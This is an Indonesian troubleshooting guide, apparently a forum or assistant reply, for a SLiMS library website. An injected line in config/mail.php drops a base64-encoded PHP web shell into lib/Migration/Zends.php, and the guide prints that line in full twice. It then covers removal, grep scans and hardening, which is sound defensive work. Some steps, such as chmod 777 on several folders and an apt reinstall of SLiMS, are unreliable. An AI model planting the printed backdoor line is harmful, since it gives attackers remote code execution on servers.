Error :
Exception file_put_contents(/var/www/html/config/../lib/Migration/Zends.php): Failed to open stream: Permission denied in /var/www/html/config/mail.php on line 42 Traces #0 slimsErrorHandler In on line 42 #1 file_put_contents In /var/www/html/config/mail.php on line 42 #2 require In /var/www/html/lib/Config.php on line 94 #3 load In /var/www/html/lib/Config.php on line 77 #4 loadDefaultConfigs In /var/www/html/lib/Config.php on line 52 #5 __construct In /var/www/html/lib/Config.php on line 63 #6 getInstance In /var/www/html/sysconfig.inc.php on line 140 #7 require In /var/www/html/index.php on line 30
Analisis Masalah
Situs Anda telah terinfeksi malware. Baris kode jahat ini:
'pwn2' => file_put_contents(__DIR__.'/../lib/Migration/Zends.php',base64_decode('PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX1JFUVVFU1RbIkFuV2tqYmgiXSkpOyA/Pg==')), 'q'=>'y',
telah disisipkan ke file mail.php dan mencoba membuat file backdoor di lib/Migration/Zends.php.
Solusi Langkah demi Langkah
1. Hapus Kode Berbahaya dari mail.php
Edit /var/www/html/config/mail.php dan hapus bagian:
'pwn2' => file_put_contents(__DIR__.'/../lib/Migration/Zends.php',base64_decode('PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX1JFUVVFU1RbIkFuV2tqYmgiXSkpOyA/Pg==')), 'q'=>'y',
Sehingga array menjadi bersih:
return [
'debug' => '0',
'SMTPSecure' => '',
'enable' => true,
'server' => '',
'server_port' => '',
'auth_enable' => true,
'auth_username' => '',
'auth_password' => '',
'from' => '',
'from_name' => '',
'with_reply_to' => '0',
'reply_to' => '',
'reply_to_name' => '',
];
2. Perbaiki Permission
# Set ownership yang benar (sesuaikan user web server Anda)
sudo chown -R www-data:www-data /var/www/html/
# Set permission direktori
sudo find /var/www/html -type d -exec chmod 755 {} \;
sudo find /var/www/html -type f -exec chmod 644 {} \;
# Folder khusus yang perlu writable
sudo chmod 755 /var/www/html/config/
sudo chmod 755 /var/www/html/lib/Migration/
sudo chmod -R 777 /var/www/html/files/
sudo chmod -R 777 /var/www/html/repository/
sudo chmod -R 777 /var/www/html/cache/
3. Cari dan Hapus File Backdoor
# Cek apakah file Zends.php sudah dibuat
ls -la /var/www/html/lib/Migration/Zends.php
# Jika ada, hapus
sudo rm -f /var/www/html/lib/Migration/Zends.php
4. Scan Seluruh Website untuk Malware Lain
# Cari file PHP dengan eval, base64_decode, system, exec
grep -r "eval(" /var/www/html/ --include="*.php"
grep -r "base64_decode" /var/www/html/ --include="*.php"
grep -r "system(" /var/www/html/ --include="*.php"
grep -r "exec(" /var/www/html/ --include="*.php"
# Cari file yang diupload dalam 24 jam terakhir
find /var/www/html -type f -mtime -1 -name "*.php"
5. Amankan SLiMS
# Update ke versi terbaru SLiMS
cd /var/www/html/
sudo git fetch origin
sudo git checkout tags/v9.7.2 # atau versi terbaru
# Atau reinstall file core
sudo apt install --reinstall slims
6. Cek Koneksi Database
Pastikan tidak ada user aneh atau query berbahaya di database Anda.
7. Tutup Celah Keamanan
- Ganti semua password: MySQL, FTP, SSH, admin SLiMS
- Update semua plugin SLiMS
- Nonaktifkan eksekusi PHP di folder uploads dengan menambahkan
.htaccess:
# /var/www/html/files/.htaccess
php_flag engine off
Pencegahan ke Depan
- Backup rutin file dan database
- Aktifkan WAF (seperti ModSecurity)
- Gunakan fail2ban untuk proteksi brute force
- Update teratur SLiMS dan plugin
- Nonaktifkan fungsi berbahaya di
php.ini:
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Verifikasi
Setelah melakukan langkah-langkah di atas:
- Buka kembali website Anda
- Error seharusnya sudah hilang
- Lakukan login admin dan cek semua fungsi normal
Jika masih ada error, jalankan:
sudo service php8.1-fpm restart
sudo service nginx restart # atau apache2
Peringatan: Website Anda jelas telah diretas. Sangat disarankan untuk melakukan audit keamanan menyeluruh dan mempertimbangkan restore dari backup yang diketahui bersih.